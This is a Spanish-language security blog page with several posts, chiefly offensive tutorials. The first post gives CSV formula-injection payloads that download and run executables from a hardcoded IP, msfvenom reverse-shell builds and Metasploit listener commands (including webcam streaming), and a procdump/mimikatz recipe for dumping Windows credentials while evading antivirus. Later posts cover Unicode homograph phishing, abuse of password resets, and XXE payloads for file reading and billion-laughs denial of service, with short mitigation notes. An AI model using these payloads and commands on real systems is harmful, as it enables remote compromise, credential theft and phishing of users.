miércoles, 4 de julio de 2018

Inyeccion de Formulas de Excel/CSV en aplicaciones web

Existen muchas aplicaciones que exportan archivos CSV los cuales son generados por que recogen desde la base de datos la informacion.
En estos archivos podemos inyectar formulas con las cuales explotamos el sistema operativo ejecutando codigo arbitrario.








Comandos

Ejecutar un proceso en el sistema operativo:
=cmd|' /C calc'!'A1'
=cmd|' /C calc'!notthissheet
=cmd|' /C calc'!xxx
=cmd|'/Ccalc.exe'!z

Ejecutar una shell con metasploit
=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/first.exe" -OutFile "$env:Temp\first.exe"; Start-Process "$env:Temp\first.exe"'!A1

=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/Meterpreter.exe" -OutFile "$env:Temp\Meterpreter.exe"; Start-Process "$env:Temp\Meterpreter.exe"'!A1

Shell
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=222.222.166.136 LPORT=666 -b "\x00" -e x86/shikata_ga_nai -f exe -o C:/first.exe

Meterpreter

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST=222.222.166.136 LPORT=666 -b "\x00" -f exe -o C:/Meterpreter.exe

Poner metasploit a la escucha:

Shell
# msfconsole
> use exploit/multi/handler
> set payload windows/shell/reverse_tcp
> set LHOST 222.222.166.136
> set LPORT 666
> show options
> run

Meterpreter
# msfconsole
>use exploit/multi/handler
>set PAYLOAD windows/meterpreter/reverse_tcp
>set LHOST 222.222.166.136
>set LPORT 666
>set ExitOnSession false
>exploit -j -z
>help
>webcam_stream

Aplicaciones en:
Encuestas, Reportes generados por maestros, una tienda, hasta un banco que genera reportes, etc.


Mitigacion

Agregar un ' o espacio o cualquier letra antes de la formula =FORMULA comience.
Puedes verificar que las celdas no tengan estos caracteres.
* Igual a ("=")
* Suma ("+")
* Menos ("-")
* Arroba ("@")


En las últimas versiones de OpenOffice Calc y LibreOffice Calc, la funcionalidad de ejecución de comandos de la fórmula DDE se revocó después del descubrimiento inicial de una vulnerabilidad de inyección de comandos (CVE-2014-3524).

Office si acepta solo que muestra mensajes de seguridad que vieniendo la pagina que ellos entraron no tienen por que desconfiar.

https://scarybeastsecurity.blogspot.com/2010_06_01_archive.html <- estudio que muestra que 50% de los usuarios dan clic en enlaces y siguen confiando en ellos (Open Redirect Vulnerability)


Codigo Fuente para prueba de Concepto:


MSFvenom Payload Creator (MSFPC) By g0tmi1k


MSFVenom Payload Creator es un rapido generador de payloads por la via de msfvenom parte de metasploit framework.
Puedes generar multiples tipos de payloads a decision tuya la idea es ser lo mas simple posible solo requiere una entrada.

Puedes generar diferentes tipos de payloads
 
<TYPE>:
   + APK
   + ASP
   + ASPX
   + Bash [.sh]
   + Java [.jsp]
   + Linux [.elf]
   + OSX [.macho]
   + Perl [.pl]
   + PHP
   + Powershell [.ps1]
   + Python [.py]
   + Tomcat [.war]
   + Windows [.exe // .dll]

Usando procdump y mimikatz para retornar las credenciales de windows

Procdump? mimikatz?

mimikatz es una herramienta conocida por que puede extraer las credenciales de windows en texto plano.

procdump de sysinternals es una utilidad de linea de comandos cuyo proposito principal es monitorear una aplicacion y generar volcados de emergencia.

Cual es el problema?

Mimikatz es detectado por demasiados antivirus: Resultado de Virus Total

Por lo cual no puede ser usado en un servidor explotado.

Cual es la solucion?

procdump es una herramienta legitima de microsoft por lo cual no es detectada por el antivirus. El objetivo es volcar el proceso lsass.exe que contiene las credenciales y luego usarlo con mimikatz. Debes de ser administrador para poder utilizarlo. Puedes volcarlo de la siguiente manera:

procdump.exe -accepteula -ma lsass.exe dump.dmp


Resultado

A partir de esto tendra un archivo de volcado del proceso lsass.exe, puedes copiarlo desde el servidor explotado y usar el mimikatz para recuperar las contraseñas en texto plano:

sekurlsa::minidump dump.dmp
log
sekurlsa::logonPasswords 

 

jueves, 3 de mayo de 2018

Como solucionar el exceso de uso de disco duro por el servicio Microsoft Compatibility Telemetry

Hola bienvenidos a esta entrada tenia tiempo sin postear, esto sera breve ya que solo es una solucion a un problema que puede llegar a ser comun y hasta puede llegar a alentarte tu computadora, laptop.



Para solucionar esto solo tienes que tomar los siguientes pasos:

1.- Tecla Windows + R y escribir gpedit.msc dar Enter
2.-  Desplazarte de la siguiente forma: Configuracion del equipo>Plantillas administrativas>Componentes de Windows>Recopilacion de datos y versiones preliminares
3.- Clic derecho y editar en permitir telemetria
4.- Seleccionar  Deshabilitado

Con eso quedaria deshabilitado y tu computadora funcionaria mas rapido, windows trata de sacar nuevas versiones y parchar, etc y este servicio sirve para capturar informacion sobre los componentes y del funcionamiento de windows y todo el software relacionado, pero al tratar de hacer esto constantemente hace que tu computadora gaste mucho mas recursos.

miércoles, 19 de octubre de 2016

HSTS Seguir usando con Burp Suite

Les comparto algo que me paso hace poco al querer intentar realizar un ataque por fuerza bruta a una pagina que incluia HSTS (Seguridad de transporte HTTP estricta). 

Me salia algo como esto:



Primero antes que anda comenzare definiendo lo que es HSTS:

Es un mecanismo de politica de seguridad web segun la cual un servidor web declara a los agentes de usuario compatibles (por ejemplo, un Navegador web, en este caso Burp Suite) que deben interactuar con ellos solamente mediante conexiones HTTP seguras (es decir, en capas HTTP sobre TLS/SSL). La politica HSTS es comunicada por el servidor al agente de usuario a traves de un campo de la cabecera HTTP de respuesta denominado "Strict-Transport-Security". La politica HSTS especifica un periodo de tiempo durante el cual el agente de usuario debera acceder al servidor solo de forma segura.

Para poder usarlo con Burp Suite lo que tendriamos que hacer es usar un navegador que no soporte en este caso la tecnologia HSTS, o jugar con el user-agent... Les recomiendo el plugin User Agent Switcher para firefox y chrome.

Segun wikipedia estos son los navegadores que soportan HSTS:


  • Google Chrome admite HSTS partir de la versión 4.0.211.0.21
  • HSTS está incluido en Firefox 4.22 Con Firefox 17, Mozilla da una lista de sitios web que soportan HSTS.23
  • Opera 1224

Ahora y lo mas importante para poder usar HSTS en Burp suite es instalar el certificado CA (el cual no debe ser compartido, ni prestado), las instrucciones para instalar el certificado de burp suite en Firefox estan en la pagina oficial de Burp suite pero igual se los muestro:

https://support.portswigger.net/customer/portal/articles/1783087-installing-burp-s-ca-certificate-in-firefox

Con el proxy de burp suite configurado en firefox realizas los siguientes pasos:

1.- Ingresar a http://burp/
2.- Dar click en CA certificate
3.- Guardar el certificado
4.- Vamos a preferencias/opciones o about:preferences 
5.- Luego en Avanzado>Certificados>Ver Certificados
7.- Importar
8.- Agregamos el certificado de Burp suite y ahora podemos usarlo!
 

Homografos Unicode en URL's Y Cambio de Contraseñas

Hola he estado bastante ocupado y no habia tenido chance de publicar en el BLOG, pero ahora les traigo algo que me parecio interesante en estos dias...

Primero que nada vamos con dos definiciones para dejar los puntos importantes claros!
 

Homografo

Que se escribe y se pronuncia exactamente igual que otra pero tiene distinto significado.

Unicode

Es un estandar de codificacion de caracteres diseñado para facilitar el tratamiento informatico, transmision y visualizacion de textos de multiples lenguajes y disciplinas tecnicas, ademas de textos clasicos de lenguas muertas.

Muchas personas usaban estos caracteres unicode, recuerdo en la red de metroflog, para usar sus "caritas lindas" al escribir un mensaje.

Aqui les dejo una tabla unicode con los caracteres mas populares:
http://unicode-table.com/es/


Ahora si a lo que vamos...



No se si hayan escuchado el termino "phishing" que es cuando atraes al usuario a entrar a una URL donde esta montado un SCAM (pagina falsa) en la cual tus datos importantes son capturados.

Bueno pues la mayoria de estos sitios son identificados por las URL's que manejan son poco "confiables" o simplemente por que son reportadas como tales (paginas phishing), veamos un ejemplo:

www.faceboolk.com

seria una url muy parecida a la de facebook exepto que tiene la "l" ahi... esto seria una buena URL para una pagina falsa... pero que pasa si los caracteres no son mas que parecidos visualmente (homografo)... Ejemplo:

www.facebook.com

si miras esa "f" es una F codificada en Unicode... Pero el dominio sigue siendo el mismo... o Parecido visualmente... Por lo cual la gente puede caer en unos de estos ataques rapidamente (Tambien podemos incluir un open redirect una vulnerabilidad comun hoy en dia).

Les dejo dos paginas para que puedan realizar esto de una manera ilustrativa:

http://www.irongeek.com/homoglyph-attack-generator.php
http://savanttools.com/unicode-to-ascii.asp


Ahora el otro tipo de ataque que les comentaba era el cambio de contraseñas, por medio de este mismo ataque, hace poco escuche que hicieron un ataque parecido a github.

Digamos este caso:

Tenemos un correo que esta registrado en una pagina y se llama:

arthusu@micorreo.com

Entonces, nosotros al poner olvide mi contraseña es obvio que va enviar un codigo... al correo o al numero de telefono asociado a la cuenta.

En caso de que la aplicacion este mal programada podemos hacer uso de un correo muy parecido visualmente (homografo), ejemplo:


arthusu@micorreo.com

Cremos un dominio con micorreo.com, y es obvio que nos llegara un correo con el link para establecer una nueva contraseña.

Eso es todo en esta entrada, no inclui imagenes, no inclui pruebas, pero les dejo la idea por si alguna vez llegasen a intentar el ataque, no creo que se necesiten pruebas pero por si las dudas...
 

jueves, 4 de agosto de 2016

Inyeccion XXE: Ataque y Defensa

VIDEO ALGUIENENLAFISI




0x00 Prologo

XXE es una inyección de entidad externa XML. Las vulnerabilidades son problemas de seguridad por el procesamiento de los datos no seguros en la entidad externa iniciada. En la norma de XML 1.0, la estructura del documento XML con entidad definida (ENTITY), este concepto pueden ser entidades predefinidas, y llamar en el identificador del documento de la entidad la cual puede tener acceso al contenido local o remoto. La introducción de fuentes de contaminación (parámetros de inyeccion) en el proceso, después del procesamiento del documento XML puede conducir a otros problemas de seguridad y la fuga de información.

0x01 Amenaza

XXE es una vulnerabilidad que aun no ha recibido una gran atención,con XXE un atacante puede leer cualquier archivo, realizar ataques de denegación de servicio DOS, y escaneo interno a la red.

Hay diferentes analizadores XML para manejar entidades externas cada uno tiene diferentes reglas, pero la función de procesamiento por defecto en PHP es:


xml_parse o simplexml_load


La biblioteca xml_parse por defecto no resolverá entidades externas, y el siguiente por defecto simplexml_load resolverá entidades externas que suponen una amenaza para la seguridad.

Ademas de PHP, el problema puede existir en Java, Python y otros componentes y funciones de procesamiento XML.

0x02 Sintaxis

Escribir un Payload, primero debe tener una cierta comprensión de gramática de entidades XML, la sintaxis de la entidad XML que se define es:

<!DOCTYPE filename[      <!ENTITY entity-name "entity-content"  ]>

Si desea hacer referencia a un recurso externo, puede utilizar varios protocolos algunos ejemplos:


file:///path/to/file.ext 
http://url/file.ext 
php://filter/read=convert.base64-encode/resource=conf.php   

Por lo tanto, la construccion de varios modelos de payloads sencillos son los siguientes:


<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Puede leer el contenido del sitio web:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Si el archivo contiene un fallo puede deberse a los documentos cuando se lee el propio archivo PHP contiene caracteres tales, que solo pueden ser eludidos utilizando base64:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]><methodcall><methodname>&xxe;</methodname></methodcall>


0x03 Ataque

Con XXE hay varios ataques disponibles y abiertos:

  • Denegación de servicio


PoC


<?xml version = "1.0"?> 
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)> 
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>


PoC: Se define la primera entidad que es lol la cadena "lol" despues también se definen las entidades LOL2 esta entidad hace referencia a lol1 10 veces, lol3 ha citado 10 veces a las entidades de lol2 y asi sucesivamente, en referencia al ultimo lol9 lolz, existirá miles de millones la cadena "lol"

En este punto sin hacer manejo especial al analizar los datos, que pueden dar lugar a ataques de denegación de servicio.

Tambien hay un payload que puede causar denegacion de servicio con la lectura de /dev/random   


  • Información de red
Con variedad de protocolos como HTTP, XXE puede ayudar en el analisis de la red, el acceso a la red puede ser capaz de abrir el servicio de servidor WEB, y obtener informacion adicional:



  • Leer archivos
El uso mas convencional y mas eficaz de las ideas:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Adjuntamos dos imágenes, en el proceso de implementacion de leer un archivo:



0x04 Defensa

1.- Compruebe la biblioteca de tratamiento XML subyacente utilizada, la resolución predeterminada prohíbe entidad externa.


2.- Utilizar un código de aplicación de terceros con un parche de manera oportuna.

3.- Al mismo tiempo, mejorar el sistema de vigilancia para exitar este problema de explotación.

Para PHP, problema de análisis de XML simplexml_load_string se encuentra en la biblioteca libxml, por lo que se puede llamar a una función de carga antes de entidad:

 <?php libxml_disable_entity_loader(true); ?> 

Para una mayor proteccion por XMLReader y Analizar el DOM, se puede hacer referencia al codigo siguiente:


<?php// with the XMLReader functionality:$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:$dom = new DOMDocument();$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);?>>

0x05 Referencias



Este articulo ha sido traducido desde: http://le4f.net/ por arthusu